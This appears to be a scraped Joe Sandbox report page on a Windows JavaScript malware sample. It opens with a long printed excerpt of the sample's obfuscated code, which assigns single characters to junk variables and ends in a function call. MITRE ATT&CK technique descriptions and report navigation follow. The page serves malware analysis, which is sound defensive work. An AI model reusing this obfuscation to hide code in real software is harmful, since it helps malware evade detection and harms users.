529	perrktlng = "k";
530	perrktlng = "L";
531	perrktlng = "g";
532	perrktlng = "t";
533	perrktlng = "U";
534	perrktlng = "y";
535	perrktlng = "g";
536	perrktlng = "j";
537	perrktlng = "J";
538	perrktlng = "d";
539	perrktlng = "t";
540	perrktlng = "J";
541	perrktlng = "a";
542	perrktlng = "B";
543	perrktlng = "D";
544	perrktlng = "P";
545	perrktlng = "t";
546	perrktlng = "d";
547	perrktlng = "y";
548	perrktlng = "c";
549	perrktlng = "W";
550	perrktlng = "H";
551	perrktlng = "o";
552	perrktlng = "k";
553	perrktlng = "E";
554	perrktlng = "G";
555	perrktlng = "P";
556	perrktlng = "k";
557	perrktlng = "S";
558	perrktlng = "q";
559	mabii = "o";
560	mabii = "P";
561	mabii = "m";
562	jqiwbseol = "R";
563	jqiwbseol = "L";
564	jqiwbseol = "O";
565	jqiwbseol = "L";
566	jqiwbseol = "M";
567	jqiwbseol = "m";
568	jqiwbseol = "A";
569	jqiwbseol = "a";
570	jqiwbseol = "K";
571	jqiwbseol = "a";
572	jqiwbseol = "C";
573	jqiwbseol = "s";
574	qaethsxa = "t";
575	qaethsxa = "s";
576	qaethsxa = "S";
577	qaethsxa = "z";
578	qaethsxa = "x";
579	qaethsxa = "x";
580	qaethsxa = "L";
581	qaethsxa = "c";
582	fpadmr = "I";
583	fpadmr = "Y";
584	fpadmr = "N";
585	fpadmr = "x";
586	fpadmr = "Q";
587	fpadmr = "B";
588	fpadmr = "m";
589	fpadmr = "H";
590	fpadmr = "u";
591	fpadmr = "z";
592	fpadmr = "j";
593	fpadmr = "B";
594	fpadmr = "V";
595	fpadmr = "V";
596	fpadmr = "Y";
597	fpadmr = "L";
598	fpadmr = "t";
599	fpadmr = "g";
600	fpadmr = "y";
601	fpadmr = "B";
602	fpadmr = "T";
603	fpadmr = "U";
604	fpadmr = "K";
605	fpadmr = "i";
606	fpadmr = "W";
607	fpadmr = "I";
608	fpadmr = "b";
609	fpadmr = "l";
610	fpadmr = "F";
611	fpadmr = "X";
612	fpadmr = "m";
613	fpadmr = "Y";
614	fpadmr = "B";
615	fpadmr = "D";
616	fpadmr = "r";
617	fpadmr = "o";
618	fpadmr = "J";
619	fpadmr = "j";
620	fpadmr = "o";
621	hvfszhlc = "w";
622	hvfszhlc = "F";
623	hvfszhlc = "F";
624	hvfszhlc = "f";
625	hvfszhlc = "a";
626	hvfszhlc = "B";
627	hvfszhlc = "K";
628	hvfszhlc = "w";
629	hvfszhlc = "o";
630	hvfszhlc = "J";
631	hvfszhlc = "a";
632	hvfszhlc = "r";
633	hvfszhlc = "R";
634	hvfszhlc = "n";
635	hvfszhlc = "s";
636	hvfszhlc = "S";
637	hvfszhlc = ".";
638	bsygor = "g";
639	bsygor = "T";
640	bsygor = "s";
641	bsygor = "E";
642	bsygor = "l";
643	bsygor = "I";
644	bsygor = "w";
645	bsygor = "V";
646	bsygor = "A";
647	bsygor = "j";
648	bsygor = "k";
649	bsygor = "t";
650	bsygor = "F";
651	bsygor = "V";
652	bsygor = "X";
653	bsygor = "L";
654	bsygor = "J";
655	bsygor = "L";
656	bsygor = "S";
657	bsygor = "n";
658	bsygor = "o";
659	bsygor = "W";
660	bsygor = "p";
661	bsygor = "v";
662	bsygor = "s";
663	bsygor = "f";
664	bsygor = "d";
665	bsygor = "W";
666	bsygor = "A";
667	bsygor = "X";
668	bsygor = "J";
669	bsygor = "d";
670	bsygor = "d";
671	bsygor = "y";
672	bsygor = "a";
673	bsygor = "L";
674	bsygor = "Y";
675	bsygor = "u";
676	bsygor = "m";
677	bsygor = "t";
678	bsygor = "l";
679	bsygor = "g";
680	bsygor = "S";
681	bsygor = "Z";
682	bsygor = "a";
683	yjdztcb = "D";
684	yjdztcb = "v";
685	yjdztcb = "V";
686	yjdztcb = "l";
687	yjdztcb = "G";
688	yjdztcb = "r";
689	yjdztcb = "e";
690	yjdztcb = "W";
691	yjdztcb = "K";
692	yjdztcb = "X";
693	yjdztcb = "n";
694	yjdztcb = "D";
695	yjdztcb = "G";
696	yjdztcb = "g";
697	yjdztcb = "M";
698	yjdztcb = "o";
699	yjdztcb = "t";
700	yjdztcb = "z";
701	yjdztcb = "f";
702	yjdztcb = "A";
703	yjdztcb = "b";
704	yjdztcb = "p";
705	yjdztcb = "N";
706	yjdztcb = "Y";
707	yjdztcb = "f";
708	yjdztcb = "j";
709	yjdztcb = "j";
710	yjdztcb = "A";
711	yjdztcb = "r";
712	yjdztcb = "V";
713	yjdztcb = "E";
714	yjdztcb = "d";
715	yjdztcb = "f";
716	yjdztcb = "r";
717	yjdztcb = "C";
718	yjdztcb = "z";
719	yjdztcb = "e";
720	yjdztcb = "z";
721	yjdztcb = "S";
722	yjdztcb = "h";
723	yjdztcb = "O";
724	yjdztcb = "W";
725	yjdztcb = "r";
726	yjdztcb = "V";
727	yjdztcb = "S";
728	uhqxufa = "F";
729	uhqxufa = "l";
730	uhqxufa = "s";
731	uhqxufa = "a";
732	uhqxufa = "r";
733	uhqxufa = "l";
734	uhqxufa = "G";
735	uhqxufa = "Y";
736	uhqxufa = "B";
737	uhqxufa = "N";
738	uhqxufa = "L";
739	uhqxufa = "1";
740	yxiamondn = "R";
741	yxiamondn = "u";
742	yxiamondn = "A";
743	yxiamondn = "k";
744	yxiamondn = "u";
745	yxiamondn = "k";
746	yxiamondn = "M";
747	yxiamondn = "P";
748	yxiamondn = "T";
749	yxiamondn = "G";
750	yxiamondn = "f";
751	yxiamondn = "N";
752	yxiamondn = "Q";
753	yxiamondn = "J";
754	yxiamondn = "X";
755	yxiamondn = "C";
756	yxiamondn = "C";
757	yxiamondn = "m";
758	yxiamondn = "F";
759	snjgplsp = "m";
760	snjgplsp = "Y";
761	snjgplsp = "j";
762	snjgplsp = "l";
763	snjgplsp = "h";
764	srtzbde = "m";
765	srtzbde = "Q";
766	srtzbde = "j";
767	srtzbde = "Q";
768	srtzbde = "P";
769	srtzbde = "I";
770	srtzbde = "F";
771	srtzbde = "n";
772	srtzbde = "y";
773	srtzbde = "l";
774	srtzbde = "T";
775	srtzbde = "B";
776	srtzbde = "D";
777	srtzbde = "R";
778	srtzbde = "e";
779	srtzbde = "i";
780	srtzbde = "W";
781	srtzbde = "O";
782	srtzbde = "O";
783	srtzbde = "m";
784	srtzbde = "T";
785	srtzbde = "E";
786	srtzbde = "c";
787	srtzbde = "d";
788	srtzbde = "F";
789	srtzbde = "m";
790	srtzbde = "b";
791	woajxrv = "n";
792	woajxrv = "d";
793	woajxrv = "K";
794	woajxrv = "N";
795	woajxrv = "P";
796	woajxrv = "A";
797	woajxrv = "u";
798	woajxrv = "X";
799	woajxrv = "p";
800	woajxrv = "q";
801	woajxrv = "R";
802	woajxrv = "M";
803	woajxrv = "m";
804	woajxrv = "e";
805	woajxrv = "d";
806	woajxrv = "z";
807	woajxrv = "/";
808	itvxpsab = "y";
809	itvxpsab = "S";
810	itvxpsab = "D";
811	itvxpsab = "B";
812	itvxpsab = "k";
813	itvxpsab = "A";
814	itvxpsab = "w";
815	itvxpsab = "w";
816	itvxpsab = "w";
817	itvxpsab = "j";
818	itvxpsab = "D";
819	itvxpsab = "P";
820	itvxpsab = "d";
821	itvxpsab = "w";
822	itvxpsab = "k";
823	itvxpsab = "C";
824	itvxpsab = "y";
825	itvxpsab = "E";
826	itvxpsab = "E";
827	itvxpsab = "T";
828	itvxpsab = "W";
829	klaqdt = "O";
830	klaqdt = "l";
831	klaqdt = "J";
832	klaqdt = "D";
833	klaqdt = "x";
834	klaqdt = "b";
835	klaqdt = "H";
836	klaqdt = "t";
837	klaqdt = "F";
838	klaqdt = "X";
839	klaqdt = "Y";
840	klaqdt = "Q";
841	klaqdt = "b";
842	klaqdt = "x";
843	klaqdt = "x";
844	klaqdt = "V";
845	klaqdt = "n";
846	klaqdt = "V";
847	klaqdt = "N";
848	klaqdt = "h";
849	klaqdt = "r";
850	klaqdt = "F";
851	klaqdt = "A";
852	klaqdt = "F";
853	klaqdt = "W";
854	klaqdt = "B";
855	klaqdt = "T";
856	klaqdt = "t";
857	klaqdt = "j";
858	klaqdt = "Z";
859	klaqdt = "z";
860	klaqdt = "T";
861	klaqdt = "l";
862	klaqdt = "p";
863	klaqdt = "l";
864	klaqdt = "f";
865	klaqdt = "k";
866	klaqdt = "C";
867	klaqdt = "Y";
868	klaqdt = "T";
869	klaqdt = "\\";
870	sitdnk = "g";
871	sitdnk = "E";
872	sitdnk = "j";
873	sitdnk = "i";
874	sitdnk = "W";
875	sitdnk = "E";
876	sitdnk = "j";
877	sitdnk = "d";
878	sitdnk = "i";
879	sitdnk = "J";
880	sitdnk = "Q";
881	sitdnk = "o";
882	sitdnk = "t";
883	sitdnk = "M";
884	sitdnk = "a";
885	sitdnk = "Q";
886	sitdnk = "A";
887	sitdnk = "l";
888	sitdnk = "T";
889	sitdnk = "q";
890	sitdnk = "w";
891	sitdnk = "z";
892	sitdnk = "M";
893	sitdnk = "i";
894	sitdnk = "J";
895	sitdnk = "v";
896	sitdnk = "k";
897	dderplmrr = "Q";
898	dderplmrr = "R";
899	dderplmrr = "Q";
900	dderplmrr = "L";
901	dderplmrr = "O";
902	dderplmrr = "W";
903	dderplmrr = "Y";
904	dderplmrr = "U";
905	dderplmrr = "A";
906	dderplmrr = "w";
907	dderplmrr = "O";
908	dderplmrr = "G";
909	dderplmrr = "I";
910	dderplmrr = "X";
911	dderplmrr = "w";
912	dderplmrr = "X";
913	dderplmrr = "Z";
914	dderplmrr = "l";
915	dderplmrr = "v";
916	dderplmrr = "u";
917	dderplmrr = "U";
918	dderplmrr = "Z";
919	dderplmrr = "Y";
920	kfivhib = "d";
921	kfivhib = "s";
922	kfivhib = "l";
923	kfivhib = "U";
924	kfivhib = "n";
925	kfivhib = "o";
926	kfivhib = "R";
927	kfivhib = "L";
928	kfivhib = "J";
929	kfivhib = "a";
930	kfivhib = "B";
931	kfivhib = "I";
932	kfivhib = "c";
933	kfivhib = "P";
934	kfivhib = "g";
935	kfivhib = "W";
936	kfivhib = "i";
937	kfivhib = "h";
938	kfivhib = "c";
939	kfivhib = "e";
940	kfivhib = "m";
941	kfivhib = "I";
942	kfivhib = "L";
943	kfivhib = "M";
944	kfivhib = "U";
945	kfivhib = "F";
946	kfivhib = "f";
947	yvwxa = "r";
948	yvwxa = "W";
949	yvwxa = "f";
950	yvwxa = "q";
951	yvwxa = "p";
952	yvwxa = "T";
953	yvwxa = "z";
954	yvwxa = "W";
955	yvwxa = "I";
956	yvwxa = "H";
957	yvwxa = "M";
958	yvwxa = "z";
959	yvwxa = "R";
960	yvwxa = "W";
961	yvwxa = "J";
962	yvwxa = "m";
963	yvwxa = "c";
964	yvwxa = "Z";
965	yvwxa = "i";
966	yvwxa = "q";
967	yvwxa = "Y";
968	yvwxa = "e";
969	yvwxa = "l";
970	yvwxa = "a";
971	yvwxa = "Y";
972	yvwxa = "Y";
973	yvwxa = "l";
974	yvwxa = "H";
975	yvwxa = "T";
976	yvwxa = "a";
977	yvwxa = "h";
978	yvwxa = "K";
979	yvwxa = "h";
980	yvwxa = "A";
981	yvwxa = "a";
982	yvwxa = "U";
983	yvwxa = "Y";
984	yvwxa = "Y";
985	yvwxa = "U";
986	yvwxa = "\"";
987	xlitcnxds = "a";
988	xlitcnxds = "f";
989	xlitcnxds = "U";
990	xlitcnxds = "h";
991	xlitcnxds = "V";
992	xlitcnxds = "d";
993	xlitcnxds = "o";
994	xlitcnxds = "I";
995	xlitcnxds = "O";
996	xlitcnxds = "e";
997	xlitcnxds = "B";
998	xlitcnxds = "d";
999	xlitcnxds = "y";
1000	xlitcnxds = "H";
1001	xlitcnxds = "z";
1002	xlitcnxds = "o";
1003	xlitcnxds = "p";
1004	xlitcnxds = "w";
1005	xlitcnxds = "z";
1006	xlitcnxds = "m";
1007	xlitcnxds = "g";
1008	xlitcnxds = "E";
1009	xlitcnxds = "i";
1010	xlitcnxds = "U";
1011	xlitcnxds = "W";
1012	xlitcnxds = "n";
1013	xlitcnxds = "B";
1014	xlitcnxds = "l";
1015	xlitcnxds = "m";
1016	xlitcnxds = "J";
1017	xlitcnxds = "L";
1018	xlitcnxds = "p";
1019	xlitcnxds = "Y";
1020	xlitcnxds = "j";
1021	xlitcnxds = "O";
1022	xlitcnxds = "y";
1023	xlitcnxds = "a";
1024	xlitcnxds = "U";
1025	xlitcnxds = "g";
1026	xlitcnxds = "h";
1027	xlitcnxds = "l";
1028	xlitcnxds = "e";
1029	xlitcnxds = "9";
1030	gnpit = "H";
1031	gnpit = "f";
1032	gnpit = "v";
1033	gnpit = "u";
1034	gnpit = "P";
1035	kcyanen = "a";
1036	kcyanen = "G";
1037	kcyanen = "x";
1038	kcyanen = "o";
1039	kcyanen = "o";
1040	kcyanen = "l";
1041	kcyanen = "w";
1042	kcyanen = "@";
1043	ixdlhslf = "z";
1044	ixdlhslf = "y";
1045	ixdlhslf = "W";
1046	ixdlhslf = "Y";
1047	ixdlhslf = "I";
1048	ixdlhslf = "H";
1049	ixdlhslf = "H";
1050	ixdlhslf = "y";
1051	ixdlhslf = "n";
1052	ixdlhslf = "H";
1053	ixdlhslf = "R";
1054	ixdlhslf = "x";
1055	ixdlhslf = "N";
1056	ixdlhslf = "d";
1057	ixdlhslf = "R";
1058	ixdlhslf = "d";
1059	ixdlhslf = "n";
1060	ixdlhslf = "o";
1061	ixdlhslf = "b";
1062	ixdlhslf = "L";
1063	ixdlhslf = "x";
1064	ixdlhslf = "y";
1065	ixdlhslf = "Y";
1066	ixdlhslf = "g";
1067	cflzwkcd = "I";
1068	cflzwkcd = "H";
1069	cflzwkcd = "w";
1070	cflzwkcd = "N";
1071	cflzwkcd = "m";
1072	cflzwkcd = "a";
1073	cflzwkcd = "b";
1074	cflzwkcd = "q";
1075	cflzwkcd = "k";
1076	cflzwkcd = "i";
1077	cflzwkcd = "F";
1078	cflzwkcd = "E";
1079	cflzwkcd = "X";
1080	cflzwkcd = "R";
1081	cflzwkcd = "H";
1082	cflzwkcd = "X";
1083	cflzwkcd = "N";
1084	cflzwkcd = "e";
1085	cflzwkcd = "W";
1086	cflzwkcd = "S";
1087	cflzwkcd = "u";
1088	cflzwkcd = "v";
1089	ebzoa = "q";
1090	ebzoa = "b";
1091	ebzoa = "o";
1092	ebzoa = "X";
1093	ebzoa = "W";
1094	ebzoa = "u";
1095	ebzoa = "j";
1096	ebzoa = "n";
1097	ebzoa = "I";
1098	ebzoa = "V";
1099	ebzoa = "x";
1100	ebzoa = "p";
1101	ebzoa = "M";
1102	ebzoa = "I";
1103	ebzoa = "s";
1104	ebzoa = "n";
1105	ebzoa = "a";
1106	ebzoa = "w";
1107	ebzoa = "A";
1108	ebzoa = "s";
1109	ebzoa = "s";
1110	ebzoa = "q";
1111	ebzoa = "g";
1112	ebzoa = "K";
1113	esjbe = "N";
1114	esjbe = "q";
1115	esjbe = "o";
1116	esjbe = "L";
1117	esjbe = "O";
1118	esjbe = "v";
1119	esjbe = "Z";
1120	esjbe = "P";
1121	esjbe = "w";
1122	esjbe = "g";
1123	esjbe = "i";
1124	esjbe = "h";
1125	esjbe = "D";
1126	esjbe = "Z";
1127	esjbe = "W";
1128	esjbe = "N";
1129	esjbe = "j";
1130	esjbe = "V";
1131	esjbe = "f";
1132	esjbe = "s";
1133	esjbe = "W";
1134	esjbe = "c";
1135	esjbe = "v";
1136	esjbe = "h";
1137	esjbe = "C";
1138	esjbe = "I";
1139	esjbe = "Z";
1140	esjbe = "v";
1141	esjbe = "O";
1142	esjbe = "f";
1143	esjbe = "C";
1144	esjbe = "j";
1145	sjrjq = "Y";
1146	sjrjq = "e";
1147	sjrjq = "k";
1148	sjrjq = "f";
1149	sjrjq = "s";
1150	sjrjq = "V";
1151	sjrjq = "y";
1152	sjrjq = "C";
1153	sjrjq = "l";
1154	sjrjq = "o";
1155	sjrjq = "j";
1156	sjrjq = "H";
1157	sjrjq = "I";
1158	sjrjq = "7";
1159	qlwyyeqpu = "I";
1160	qlwyyeqpu = "k";
1161	qlwyyeqpu = "J";
1162	qlwyyeqpu = "W";
1163	qlwyyeqpu = "y";
1164	qlwyyeqpu = "h";
1165	qlwyyeqpu = "M";
1166	qlwyyeqpu = "R";
1167	wokdt = "u";
1168	wokdt = "D";
1169	wokdt = "x";
1170	njosssyy = "F";
1171	njosssyy = "u";
1172	njosssyy = "a";
1173	njosssyy = "r";
1174	njosssyy = "M";
1175	njosssyy = "r";
1176	njosssyy = "G";
1177	njosssyy = "P";
1178	njosssyy = "n";
1179	njosssyy = "4";
1180	wizeewa = "v";
1181	wizeewa = "U";
1182	wizeewa = "Y";
1183	wizeewa = "s";
1184	wizeewa = "N";
1185	wizeewa = "H";
1186	wizeewa = "E";
1187	wizeewa = "n";
1188	wizeewa = "l";
1189	wizeewa = "G";
1190	wizeewa = "y";
1191	wizeewa = "o";
1192	wizeewa = "V";
1193	wizeewa = "f";
1194	wizeewa = "f";
1195	wizeewa = "d";
1196	wizeewa = "H";
1197	wizeewa = "C";
1198	wizeewa = "C";
1199	nyqoda = "Z";
1200	nyqoda = "B";
1201	nyqoda = "A";
1202	nyqoda = "k";
1203	nyqoda = "S";
1204	nyqoda = "L";
1205	nyqoda = "N";
1206	nyqoda = "S";
1207	nyqoda = "J";
1208	nyqoda = "G";
1209	nyqoda = "E";
1210	elsls = "h";
1211	elsls = "l";
1212	elsls = "M";
1213	elsls = "b";
1214	elsls = "A";
1215	elsls = "e";
1216	elsls = "M";
1217	elsls = "s";
1218	elsls = "y";
1219	elsls = "n";
1220	elsls = "w";
1221	wcabs = "W";
1222	wcabs = "X";
1223	wcabs = "f";
1224	wcabs = "K";
1225	wcabs = "W";
1226	wcabs = "G";
1227	wcabs = "m";
1228	wcabs = "E";
1229	wcabs = "Y";
1230	wcabs = "R";
1231	wcabs = "t";
1232	wcabs = "l";
1233	wcabs = "A";
1234	wcabs = "w";
1235	wcabs = "x";
1236	wcabs = "s";
1237	wcabs = "k";
1238	wcabs = "d";
1239	wcabs = "i";
1240	wcabs = "B";
1241	wcabs = "m";
1242	wcabs = "L";
1243	wcabs = "U";
1244	wcabs = "o";
1245	wcabs = "d";
1246	wcabs = "O";
1247	wcabs = "0";
1248	oralxtyfz = "n";
1249	oralxtyfz = "P";
1250	oralxtyfz = "G";
1251	oralxtyfz = "c";
1252	oralxtyfz = "Y";
1253	oralxtyfz = "L";
1254	oralxtyfz = "d";
1255	oralxtyfz = "k";
1256	oralxtyfz = ":";
1257	puglhds = "i";
1258	puglhds = "X";
1259	puglhds = "Q";
1260	puglhds = "Q";
1261	puglhds = "q";
1262	puglhds = "f";
1263	puglhds = "N";
1264	puglhds = "P";
1265	puglhds = "t";
1266	puglhds = "Y";
1267	puglhds = "o";
1268	puglhds = "p";
1269	cxtkwjzho = "T";
1270	cxtkwjzho = "M";
1271	cxtkwjzho = "o";
1272	cxtkwjzho = "H";
1273	cxtkwjzho = "g";
1274	cxtkwjzho = "V";
1275	cxtkwjzho = "c";
1276	cxtkwjzho = "i";
1277	cxtkwjzho = "l";
1278	kjcqt = "A";
1279	kjcqt = "j";
1280	kjcqt = "n";
1281	kjcqt = "X";
1282	kjcqt = "V";
1283	kjcqt = "N";
1284	kjcqt = "o";
1285	kjcqt = "O";
1286	kjcqt = "h";
1287	kjcqt = "u";
1288	kjcqt = "e";
1289	kjcqt = "G";
1290	kjcqt = "A";
1291	kjcqt = "f";
1292	kjcqt = "C";
1293	kjcqt = "X";
1294	kjcqt = "J";
1295	kjcqt = "Z";
1296	kjcqt = "Q";
1297	kjcqt = "t";
1298	kjcqt = "v";
1299	kjcqt = "U";
1300	kjcqt = "U";
1301	kjcqt = "I";
1302	khlqcskiu ( );	khlqcskiu() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 25134116771465314533.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

